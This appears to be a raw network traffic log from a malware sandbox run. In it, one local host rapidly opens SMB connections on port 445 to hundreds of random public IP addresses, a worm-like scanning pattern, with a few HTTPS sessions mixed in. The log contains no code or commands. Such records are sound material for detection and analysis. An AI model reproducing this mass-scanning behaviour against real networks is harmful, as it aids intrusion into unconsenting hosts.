Jul 20, 2022 15:44:03.467964888 CEST	50506	445	192.168.2.7	173.199.119.189
Jul 20, 2022 15:44:03.582217932 CEST	50507	445	192.168.2.7	211.212.18.126
Jul 20, 2022 15:44:03.586533070 CEST	50508	445	192.168.2.7	27.198.48.52
Jul 20, 2022 15:44:03.763873100 CEST	50509	445	192.168.2.7	135.100.98.10
Jul 20, 2022 15:44:03.805851936 CEST	50510	445	192.168.2.7	159.58.2.17
Jul 20, 2022 15:44:03.879385948 CEST	50511	445	192.168.2.7	188.18.139.9
Jul 20, 2022 15:44:04.682184935 CEST	50512	445	192.168.2.7	138.8.44.74
Jul 20, 2022 15:44:04.794464111 CEST	50513	445	192.168.2.7	172.175.53.49
Jul 20, 2022 15:44:04.796108961 CEST	50514	445	192.168.2.7	61.252.242.140
Jul 20, 2022 15:44:04.796848059 CEST	50515	445	192.168.2.7	24.217.112.89
Jul 20, 2022 15:44:04.797574043 CEST	50516	445	192.168.2.7	8.6.35.218
Jul 20, 2022 15:44:04.798269033 CEST	50517	445	192.168.2.7	7.5.219.95
Jul 20, 2022 15:44:04.798960924 CEST	50518	445	192.168.2.7	139.105.19.65
Jul 20, 2022 15:44:04.799650908 CEST	50519	445	192.168.2.7	106.189.242.117
Jul 20, 2022 15:44:04.800322056 CEST	50520	445	192.168.2.7	184.140.230.98
Jul 20, 2022 15:44:04.801292896 CEST	50521	445	192.168.2.7	85.13.78.92
Jul 20, 2022 15:44:04.802094936 CEST	50522	445	192.168.2.7	167.177.230.133
Jul 20, 2022 15:44:04.802921057 CEST	50523	445	192.168.2.7	200.247.116.225
Jul 20, 2022 15:44:04.803700924 CEST	50524	445	192.168.2.7	191.74.246.94
Jul 20, 2022 15:44:04.804438114 CEST	50525	445	192.168.2.7	169.251.235.126
Jul 20, 2022 15:44:04.805238962 CEST	50526	445	192.168.2.7	70.32.157.193
Jul 20, 2022 15:44:04.805917025 CEST	50527	445	192.168.2.7	48.185.115.59
Jul 20, 2022 15:44:04.806591034 CEST	50528	445	192.168.2.7	92.116.8.137
Jul 20, 2022 15:44:04.807271957 CEST	50529	445	192.168.2.7	189.115.224.118
Jul 20, 2022 15:44:04.807946920 CEST	50530	445	192.168.2.7	110.61.238.41
Jul 20, 2022 15:44:04.808628082 CEST	50531	445	192.168.2.7	5.178.236.124
Jul 20, 2022 15:44:04.955316067 CEST	50532	445	192.168.2.7	167.34.152.220
Jul 20, 2022 15:44:04.969290018 CEST	50533	445	192.168.2.7	146.15.167.183
Jul 20, 2022 15:44:05.020190001 CEST	445	50523	200.247.116.225	192.168.2.7
Jul 20, 2022 15:44:05.050885916 CEST	50534	445	192.168.2.7	188.18.139.10
Jul 20, 2022 15:44:05.585987091 CEST	50523	445	192.168.2.7	200.247.116.225
Jul 20, 2022 15:44:05.623248100 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.623291016 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.623409986 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.624411106 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.624424934 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.641606092 CEST	50536	445	192.168.2.7	177.241.232.136
Jul 20, 2022 15:44:05.715369940 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.715645075 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.735454082 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.735486984 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.735744953 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.803277969 CEST	445	50523	200.247.116.225	192.168.2.7
Jul 20, 2022 15:44:05.819571018 CEST	445	50536	177.241.232.136	192.168.2.7
Jul 20, 2022 15:44:05.898540974 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.924264908 CEST	50537	445	192.168.2.7	223.132.56.198
Jul 20, 2022 15:44:05.926362038 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.926424980 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.926436901 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.926568031 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:05.954426050 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.954515934 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:05.954632998 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:06.398555040 CEST	50536	445	192.168.2.7	177.241.232.136
Jul 20, 2022 15:44:06.574608088 CEST	445	50536	177.241.232.136	192.168.2.7
Jul 20, 2022 15:44:07.086131096 CEST	50536	445	192.168.2.7	177.241.232.136
Jul 20, 2022 15:44:07.262212992 CEST	445	50536	177.241.232.136	192.168.2.7
Jul 20, 2022 15:44:07.374100924 CEST	50535	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:07.374171972 CEST	443	50535	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:07.375516891 CEST	50538	445	192.168.2.7	130.144.214.91
Jul 20, 2022 15:44:07.376060009 CEST	50539	445	192.168.2.7	48.102.11.51
Jul 20, 2022 15:44:07.376601934 CEST	50540	445	192.168.2.7	37.23.213.18
Jul 20, 2022 15:44:07.377311945 CEST	50541	445	192.168.2.7	25.66.224.155
Jul 20, 2022 15:44:07.378048897 CEST	50542	445	192.168.2.7	137.107.107.73
Jul 20, 2022 15:44:07.378781080 CEST	50543	445	192.168.2.7	112.179.179.191
Jul 20, 2022 15:44:07.379616976 CEST	50544	445	192.168.2.7	67.207.7.133
Jul 20, 2022 15:44:07.380467892 CEST	50545	445	192.168.2.7	23.60.20.208
Jul 20, 2022 15:44:07.381297112 CEST	50546	445	192.168.2.7	141.63.103.162
Jul 20, 2022 15:44:07.382009983 CEST	50547	445	192.168.2.7	190.128.77.107
Jul 20, 2022 15:44:07.382819891 CEST	50548	445	192.168.2.7	206.60.103.183
Jul 20, 2022 15:44:07.386379957 CEST	50549	445	192.168.2.7	175.184.43.242
Jul 20, 2022 15:44:07.387160063 CEST	50550	445	192.168.2.7	104.52.151.91
Jul 20, 2022 15:44:07.387871027 CEST	50551	445	192.168.2.7	126.122.208.189
Jul 20, 2022 15:44:07.388592005 CEST	50552	445	192.168.2.7	215.18.165.65
Jul 20, 2022 15:44:07.389275074 CEST	50553	445	192.168.2.7	221.233.152.87
Jul 20, 2022 15:44:07.390248060 CEST	50554	445	192.168.2.7	76.5.94.162
Jul 20, 2022 15:44:07.390963078 CEST	50555	445	192.168.2.7	46.235.161.26
Jul 20, 2022 15:44:07.391714096 CEST	50556	445	192.168.2.7	144.216.65.188
Jul 20, 2022 15:44:07.632594109 CEST	50557	445	192.168.2.7	188.18.139.11
Jul 20, 2022 15:44:07.788225889 CEST	50558	445	192.168.2.7	66.248.149.45
Jul 20, 2022 15:44:07.813246012 CEST	50559	445	192.168.2.7	206.126.104.24
Jul 20, 2022 15:44:07.813893080 CEST	50560	445	192.168.2.7	192.146.233.105
Jul 20, 2022 15:44:07.814424992 CEST	50561	445	192.168.2.7	140.19.177.235
Jul 20, 2022 15:44:07.820976973 CEST	50562	445	192.168.2.7	143.119.248.117
Jul 20, 2022 15:44:08.509320974 CEST	50563	445	192.168.2.7	178.145.220.143
Jul 20, 2022 15:44:08.510067940 CEST	50564	445	192.168.2.7	180.130.208.11
Jul 20, 2022 15:44:08.516024113 CEST	50565	445	192.168.2.7	97.99.117.50
Jul 20, 2022 15:44:08.524390936 CEST	50566	445	192.168.2.7	221.189.185.196
Jul 20, 2022 15:44:08.524420977 CEST	50567	445	192.168.2.7	63.245.211.132
Jul 20, 2022 15:44:08.524507046 CEST	50568	445	192.168.2.7	62.61.22.208
Jul 20, 2022 15:44:08.524816036 CEST	50569	445	192.168.2.7	22.105.251.52
Jul 20, 2022 15:44:08.524842978 CEST	50570	445	192.168.2.7	97.210.149.201
Jul 20, 2022 15:44:08.524888039 CEST	50571	445	192.168.2.7	94.189.101.35
Jul 20, 2022 15:44:08.525058985 CEST	50573	445	192.168.2.7	174.98.72.177
Jul 20, 2022 15:44:08.525084019 CEST	50572	445	192.168.2.7	148.143.180.125
Jul 20, 2022 15:44:08.525191069 CEST	50575	445	192.168.2.7	74.1.223.94
Jul 20, 2022 15:44:08.525203943 CEST	50574	445	192.168.2.7	71.99.32.47
Jul 20, 2022 15:44:08.525291920 CEST	50576	445	192.168.2.7	7.202.5.215
Jul 20, 2022 15:44:08.525325060 CEST	50577	445	192.168.2.7	101.23.49.10
Jul 20, 2022 15:44:08.525388002 CEST	50579	445	192.168.2.7	181.219.18.117
Jul 20, 2022 15:44:08.525413990 CEST	50578	445	192.168.2.7	90.199.226.254
Jul 20, 2022 15:44:08.525513887 CEST	50581	445	192.168.2.7	6.142.3.130
Jul 20, 2022 15:44:08.525522947 CEST	50580	445	192.168.2.7	45.64.78.74
Jul 20, 2022 15:44:08.697875977 CEST	50582	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.785525084 CEST	445	50582	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:08.785810947 CEST	50582	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.785918951 CEST	50582	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.792288065 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.872394085 CEST	445	50582	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:08.879703999 CEST	445	50582	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:08.879923105 CEST	50582	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.880633116 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:08.880795956 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.881021023 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:08.900437117 CEST	50584	445	192.168.2.7	157.93.242.114
Jul 20, 2022 15:44:08.934695959 CEST	50585	445	192.168.2.7	60.251.68.149
Jul 20, 2022 15:44:08.944633961 CEST	50586	445	192.168.2.7	210.154.206.223
Jul 20, 2022 15:44:08.945137978 CEST	50587	445	192.168.2.7	55.66.97.199
Jul 20, 2022 15:44:08.945151091 CEST	50588	445	192.168.2.7	3.102.251.107
Jul 20, 2022 15:44:08.968676090 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:08.976995945 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:08.977345943 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:09.071283102 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:09.082133055 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:09.168644905 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:09.168942928 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:09.198766947 CEST	445	50585	60.251.68.149	192.168.2.7
Jul 20, 2022 15:44:09.256711006 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:09.257042885 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:09.347647905 CEST	445	50583	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:09.347762108 CEST	50583	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:09.682363033 CEST	50589	445	192.168.2.7	74.23.168.94
Jul 20, 2022 15:44:09.683115959 CEST	50590	445	192.168.2.7	151.135.45.219
Jul 20, 2022 15:44:09.683995962 CEST	50591	445	192.168.2.7	120.130.55.77
Jul 20, 2022 15:44:09.685122013 CEST	50592	445	192.168.2.7	164.10.142.33
Jul 20, 2022 15:44:09.685982943 CEST	50593	445	192.168.2.7	126.184.108.211
Jul 20, 2022 15:44:09.686798096 CEST	50594	445	192.168.2.7	65.20.127.251
Jul 20, 2022 15:44:09.687649012 CEST	50595	445	192.168.2.7	171.50.238.48
Jul 20, 2022 15:44:09.688529015 CEST	50596	445	192.168.2.7	65.43.209.251
Jul 20, 2022 15:44:09.689354897 CEST	50597	445	192.168.2.7	7.24.224.65
Jul 20, 2022 15:44:09.690382004 CEST	50598	445	192.168.2.7	44.182.13.37
Jul 20, 2022 15:44:09.691540956 CEST	50599	445	192.168.2.7	209.188.42.245
Jul 20, 2022 15:44:09.692282915 CEST	50600	445	192.168.2.7	142.62.119.173
Jul 20, 2022 15:44:09.693123102 CEST	50601	445	192.168.2.7	135.118.239.0
Jul 20, 2022 15:44:09.693892956 CEST	50602	445	192.168.2.7	101.248.226.223
Jul 20, 2022 15:44:09.697774887 CEST	50603	445	192.168.2.7	67.58.151.254
Jul 20, 2022 15:44:09.697777987 CEST	50604	445	192.168.2.7	201.253.82.62
Jul 20, 2022 15:44:09.697784901 CEST	50605	445	192.168.2.7	32.232.9.100
Jul 20, 2022 15:44:09.697829962 CEST	50606	445	192.168.2.7	10.172.152.174
Jul 20, 2022 15:44:09.698013067 CEST	50607	445	192.168.2.7	213.121.12.70
Jul 20, 2022 15:44:09.725392103 CEST	445	50592	164.10.142.33	192.168.2.7
Jul 20, 2022 15:44:09.725552082 CEST	50592	445	192.168.2.7	164.10.142.33
Jul 20, 2022 15:44:09.790283918 CEST	50585	445	192.168.2.7	60.251.68.149
Jul 20, 2022 15:44:09.826260090 CEST	50608	445	192.168.2.7	76.10.27.197
Jul 20, 2022 15:44:10.056395054 CEST	50609	445	192.168.2.7	71.176.62.132
Jul 20, 2022 15:44:10.061491013 CEST	445	50585	60.251.68.149	192.168.2.7
Jul 20, 2022 15:44:10.078471899 CEST	50610	445	192.168.2.7	214.98.226.213
Jul 20, 2022 15:44:10.079201937 CEST	50611	445	192.168.2.7	80.232.254.231
Jul 20, 2022 15:44:10.079921007 CEST	50612	445	192.168.2.7	87.56.121.26
Jul 20, 2022 15:44:10.080621958 CEST	50613	445	192.168.2.7	112.148.206.4
Jul 20, 2022 15:44:10.778453112 CEST	50614	445	192.168.2.7	1.104.84.215
Jul 20, 2022 15:44:10.779165030 CEST	50615	445	192.168.2.7	21.226.64.122
Jul 20, 2022 15:44:10.791214943 CEST	50616	445	192.168.2.7	221.10.33.26
Jul 20, 2022 15:44:10.792167902 CEST	50617	445	192.168.2.7	188.115.65.118
Jul 20, 2022 15:44:10.793282986 CEST	50618	445	192.168.2.7	13.250.241.136
Jul 20, 2022 15:44:10.794053078 CEST	50619	445	192.168.2.7	29.169.190.232
Jul 20, 2022 15:44:10.795208931 CEST	50620	445	192.168.2.7	95.94.120.60
Jul 20, 2022 15:44:10.795974970 CEST	50621	445	192.168.2.7	4.130.218.239
Jul 20, 2022 15:44:10.796751022 CEST	50622	445	192.168.2.7	69.87.212.168
Jul 20, 2022 15:44:10.797463894 CEST	50623	445	192.168.2.7	29.180.54.230
Jul 20, 2022 15:44:10.798146009 CEST	50624	445	192.168.2.7	201.177.211.83
Jul 20, 2022 15:44:10.799134016 CEST	50625	445	192.168.2.7	186.98.17.138
Jul 20, 2022 15:44:10.800036907 CEST	50626	445	192.168.2.7	197.109.34.199
Jul 20, 2022 15:44:10.800795078 CEST	50627	445	192.168.2.7	202.84.22.173
Jul 20, 2022 15:44:10.801517010 CEST	50628	445	192.168.2.7	8.7.54.93
Jul 20, 2022 15:44:10.802269936 CEST	50629	445	192.168.2.7	49.221.73.249
Jul 20, 2022 15:44:10.861346006 CEST	50630	445	192.168.2.7	147.121.186.59
Jul 20, 2022 15:44:10.861520052 CEST	50631	445	192.168.2.7	2.180.155.236
Jul 20, 2022 15:44:10.861532927 CEST	50632	445	192.168.2.7	43.228.94.231
Jul 20, 2022 15:44:10.972532034 CEST	50633	445	192.168.2.7	139.119.109.2
Jul 20, 2022 15:44:11.220716000 CEST	50634	445	192.168.2.7	169.131.10.224
Jul 20, 2022 15:44:11.221525908 CEST	50635	445	192.168.2.7	4.133.226.182
Jul 20, 2022 15:44:11.222280025 CEST	50636	445	192.168.2.7	173.253.20.7
Jul 20, 2022 15:44:11.222982883 CEST	50637	445	192.168.2.7	109.235.131.249
Jul 20, 2022 15:44:11.223690987 CEST	50638	445	192.168.2.7	109.169.59.76
Jul 20, 2022 15:44:11.845829964 CEST	50639	445	192.168.2.7	152.11.214.91
Jul 20, 2022 15:44:11.900300026 CEST	50640	445	192.168.2.7	79.34.232.230
Jul 20, 2022 15:44:11.900492907 CEST	50641	445	192.168.2.7	56.213.184.243
Jul 20, 2022 15:44:11.922254086 CEST	50643	445	192.168.2.7	122.157.158.39
Jul 20, 2022 15:44:11.922297001 CEST	50644	445	192.168.2.7	110.163.54.178
Jul 20, 2022 15:44:11.922300100 CEST	50642	445	192.168.2.7	133.199.228.171
Jul 20, 2022 15:44:11.922385931 CEST	50646	445	192.168.2.7	162.226.31.118
Jul 20, 2022 15:44:11.922501087 CEST	50645	445	192.168.2.7	143.188.44.109
Jul 20, 2022 15:44:11.922504902 CEST	50647	445	192.168.2.7	45.216.94.98
Jul 20, 2022 15:44:11.922508955 CEST	50648	445	192.168.2.7	89.187.124.200
Jul 20, 2022 15:44:11.922590017 CEST	50649	445	192.168.2.7	33.9.90.22
Jul 20, 2022 15:44:11.922621012 CEST	50650	445	192.168.2.7	150.47.122.228
Jul 20, 2022 15:44:11.922705889 CEST	50651	445	192.168.2.7	195.34.37.134
Jul 20, 2022 15:44:11.922717094 CEST	50652	445	192.168.2.7	141.101.56.15
Jul 20, 2022 15:44:11.922812939 CEST	50653	445	192.168.2.7	126.81.222.50
Jul 20, 2022 15:44:11.922878981 CEST	50654	445	192.168.2.7	51.18.78.134
Jul 20, 2022 15:44:11.922926903 CEST	50655	445	192.168.2.7	175.214.214.119
Jul 20, 2022 15:44:11.997659922 CEST	50656	445	192.168.2.7	47.200.248.75
Jul 20, 2022 15:44:12.000035048 CEST	50657	445	192.168.2.7	37.187.213.187
Jul 20, 2022 15:44:12.000787973 CEST	50658	445	192.168.2.7	179.215.26.190
Jul 20, 2022 15:44:12.087502956 CEST	50659	445	192.168.2.7	33.180.35.173
Jul 20, 2022 15:44:12.270725965 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.355230093 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.358175993 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.379935026 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.381026030 CEST	50661	445	192.168.2.7	12.161.238.102
Jul 20, 2022 15:44:12.381795883 CEST	50662	445	192.168.2.7	1.86.111.135
Jul 20, 2022 15:44:12.382518053 CEST	50663	445	192.168.2.7	117.201.85.7
Jul 20, 2022 15:44:12.383248091 CEST	50664	445	192.168.2.7	209.150.194.14
Jul 20, 2022 15:44:12.384624958 CEST	50665	445	192.168.2.7	9.217.94.98
Jul 20, 2022 15:44:12.458924055 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.462933064 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.465884924 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.590883970 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.591073990 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.674881935 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.677509069 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.758979082 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.759520054 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.822027922 CEST	50666	445	192.168.2.7	188.18.139.13
Jul 20, 2022 15:44:12.842941046 CEST	445	50660	188.18.139.12	192.168.2.7
Jul 20, 2022 15:44:12.843244076 CEST	50660	445	192.168.2.7	188.18.139.12
Jul 20, 2022 15:44:12.962829113 CEST	50667	445	192.168.2.7	200.143.194.204
Jul 20, 2022 15:44:13.024961948 CEST	50668	445	192.168.2.7	111.24.94.204
Jul 20, 2022 15:44:13.025989056 CEST	50669	445	192.168.2.7	1.53.145.142
Jul 20, 2022 15:44:13.059106112 CEST	50670	445	192.168.2.7	152.191.13.89
Jul 20, 2022 15:44:13.059520960 CEST	50671	445	192.168.2.7	107.29.73.169
Jul 20, 2022 15:44:13.059622049 CEST	50672	445	192.168.2.7	182.145.51.210
Jul 20, 2022 15:44:13.059767962 CEST	50673	445	192.168.2.7	137.19.20.210
Jul 20, 2022 15:44:13.059902906 CEST	50674	445	192.168.2.7	47.76.250.130
Jul 20, 2022 15:44:13.059993029 CEST	50675	445	192.168.2.7	55.207.124.99
Jul 20, 2022 15:44:13.060134888 CEST	50676	445	192.168.2.7	171.202.200.151
Jul 20, 2022 15:44:13.060240030 CEST	50677	445	192.168.2.7	48.150.61.207
Jul 20, 2022 15:44:13.060348988 CEST	50678	445	192.168.2.7	172.206.6.38
Jul 20, 2022 15:44:13.060450077 CEST	50679	445	192.168.2.7	2.86.68.75
Jul 20, 2022 15:44:13.060538054 CEST	50680	445	192.168.2.7	182.187.143.211
Jul 20, 2022 15:44:13.060601950 CEST	50681	445	192.168.2.7	91.3.96.102
Jul 20, 2022 15:44:13.060698986 CEST	50682	445	192.168.2.7	36.16.64.194
Jul 20, 2022 15:44:13.060797930 CEST	50683	445	192.168.2.7	24.97.103.111
Jul 20, 2022 15:44:13.121881008 CEST	50684	445	192.168.2.7	100.41.133.167
Jul 20, 2022 15:44:13.121891022 CEST	50685	445	192.168.2.7	76.186.174.25
Jul 20, 2022 15:44:13.122028112 CEST	50686	445	192.168.2.7	43.137.5.186
Jul 20, 2022 15:44:13.199017048 CEST	50687	445	192.168.2.7	101.130.179.152
Jul 20, 2022 15:44:13.493597984 CEST	50688	445	192.168.2.7	100.39.80.146
Jul 20, 2022 15:44:13.502660036 CEST	50689	445	192.168.2.7	50.89.169.129
Jul 20, 2022 15:44:13.502999067 CEST	50690	445	192.168.2.7	93.213.163.181
Jul 20, 2022 15:44:13.509732962 CEST	50691	445	192.168.2.7	184.53.8.242
Jul 20, 2022 15:44:13.509994984 CEST	50692	445	192.168.2.7	193.110.49.238
Jul 20, 2022 15:44:13.856220007 CEST	50693	445	192.168.2.7	192.103.131.225
Jul 20, 2022 15:44:13.900109053 CEST	50694	445	192.168.2.7	188.18.139.14
Jul 20, 2022 15:44:14.126564980 CEST	50695	445	192.168.2.7	204.45.188.61
Jul 20, 2022 15:44:14.262562037 CEST	50696	445	192.168.2.7	219.250.78.251
Jul 20, 2022 15:44:14.263439894 CEST	50697	445	192.168.2.7	201.160.31.246
Jul 20, 2022 15:44:14.264175892 CEST	50698	445	192.168.2.7	120.160.186.137
Jul 20, 2022 15:44:14.264880896 CEST	50699	445	192.168.2.7	116.6.86.97
Jul 20, 2022 15:44:14.265711069 CEST	50700	445	192.168.2.7	118.198.152.204
Jul 20, 2022 15:44:14.266417980 CEST	50701	445	192.168.2.7	2.31.133.234
Jul 20, 2022 15:44:14.267543077 CEST	50702	445	192.168.2.7	124.94.222.141
Jul 20, 2022 15:44:14.268291950 CEST	50703	445	192.168.2.7	148.64.97.149
Jul 20, 2022 15:44:14.269100904 CEST	50704	445	192.168.2.7	16.227.56.132
Jul 20, 2022 15:44:14.269803047 CEST	50705	445	192.168.2.7	176.98.120.110
Jul 20, 2022 15:44:14.270522118 CEST	50706	445	192.168.2.7	110.225.24.230
Jul 20, 2022 15:44:14.271220922 CEST	50707	445	192.168.2.7	198.116.161.224
Jul 20, 2022 15:44:14.271945000 CEST	50708	445	192.168.2.7	195.162.14.2
Jul 20, 2022 15:44:14.272686958 CEST	50709	445	192.168.2.7	138.48.235.14
Jul 20, 2022 15:44:14.273530006 CEST	50710	445	192.168.2.7	150.242.71.80
Jul 20, 2022 15:44:14.274517059 CEST	50711	445	192.168.2.7	187.183.131.207
Jul 20, 2022 15:44:14.275275946 CEST	50712	445	192.168.2.7	46.21.201.206
Jul 20, 2022 15:44:14.276096106 CEST	50713	445	192.168.2.7	164.66.47.129
Jul 20, 2022 15:44:14.276648045 CEST	50714	445	192.168.2.7	105.122.82.130
Jul 20, 2022 15:44:14.447042942 CEST	50715	445	192.168.2.7	217.21.8.55
Jul 20, 2022 15:44:14.666266918 CEST	50716	445	192.168.2.7	35.113.84.55
Jul 20, 2022 15:44:14.666778088 CEST	50717	445	192.168.2.7	169.8.242.196
Jul 20, 2022 15:44:14.667335033 CEST	50718	445	192.168.2.7	11.14.197.97
Jul 20, 2022 15:44:14.667864084 CEST	50719	445	192.168.2.7	101.54.139.243
Jul 20, 2022 15:44:14.668389082 CEST	50720	445	192.168.2.7	25.69.228.131
Jul 20, 2022 15:44:14.980062962 CEST	50721	445	192.168.2.7	21.233.87.107
Jul 20, 2022 15:44:14.980585098 CEST	50722	445	192.168.2.7	188.18.139.15
Jul 20, 2022 15:44:15.245397091 CEST	50723	445	192.168.2.7	119.169.227.141
Jul 20, 2022 15:44:15.327676058 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.327744961 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.327883005 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.334805965 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.334867001 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.335017920 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.335819006 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.335855007 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.335946083 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.408516884 CEST	50727	445	192.168.2.7	172.203.209.118
Jul 20, 2022 15:44:15.409006119 CEST	50729	445	192.168.2.7	99.163.13.111
Jul 20, 2022 15:44:15.409043074 CEST	50728	445	192.168.2.7	16.118.69.18
Jul 20, 2022 15:44:15.409188032 CEST	50730	445	192.168.2.7	159.243.120.63
Jul 20, 2022 15:44:15.409267902 CEST	50732	445	192.168.2.7	81.176.138.43
Jul 20, 2022 15:44:15.409315109 CEST	50731	445	192.168.2.7	138.115.89.36
Jul 20, 2022 15:44:15.409392118 CEST	50733	445	192.168.2.7	183.52.185.123
Jul 20, 2022 15:44:15.409425020 CEST	50734	445	192.168.2.7	18.36.228.45
Jul 20, 2022 15:44:15.409585953 CEST	50736	445	192.168.2.7	172.52.39.246
Jul 20, 2022 15:44:15.409593105 CEST	50735	445	192.168.2.7	149.62.172.76
Jul 20, 2022 15:44:15.409708023 CEST	50737	445	192.168.2.7	161.201.159.214
Jul 20, 2022 15:44:15.409766912 CEST	50738	445	192.168.2.7	91.6.168.209
Jul 20, 2022 15:44:15.409827948 CEST	50739	445	192.168.2.7	69.100.80.67
Jul 20, 2022 15:44:15.409898996 CEST	50740	445	192.168.2.7	151.20.127.249
Jul 20, 2022 15:44:15.410036087 CEST	50741	445	192.168.2.7	195.221.64.102
Jul 20, 2022 15:44:15.410043955 CEST	50742	445	192.168.2.7	46.101.131.83
Jul 20, 2022 15:44:15.410175085 CEST	50743	445	192.168.2.7	157.30.111.238
Jul 20, 2022 15:44:15.410222054 CEST	50744	445	192.168.2.7	5.157.3.50
Jul 20, 2022 15:44:15.410290003 CEST	50745	445	192.168.2.7	161.195.64.97
Jul 20, 2022 15:44:15.439337015 CEST	445	50742	46.101.131.83	192.168.2.7
Jul 20, 2022 15:44:15.469970942 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.469974041 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.469999075 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.470012903 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.470438957 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.470463037 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.536617994 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.536817074 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.538588047 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.538743973 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.543263912 CEST	50746	445	192.168.2.7	72.121.34.238
Jul 20, 2022 15:44:15.545205116 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.545310020 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.791080952 CEST	50747	445	192.168.2.7	48.79.64.249
Jul 20, 2022 15:44:15.791908979 CEST	50748	445	192.168.2.7	32.173.16.30
Jul 20, 2022 15:44:15.792681932 CEST	50749	445	192.168.2.7	44.244.178.122
Jul 20, 2022 15:44:15.793560982 CEST	50750	445	192.168.2.7	219.51.219.164
Jul 20, 2022 15:44:15.794275999 CEST	50751	445	192.168.2.7	57.48.45.90
Jul 20, 2022 15:44:15.876544952 CEST	50752	445	192.168.2.7	71.19.52.231
Jul 20, 2022 15:44:15.929171085 CEST	50753	443	192.168.2.7	80.67.82.211
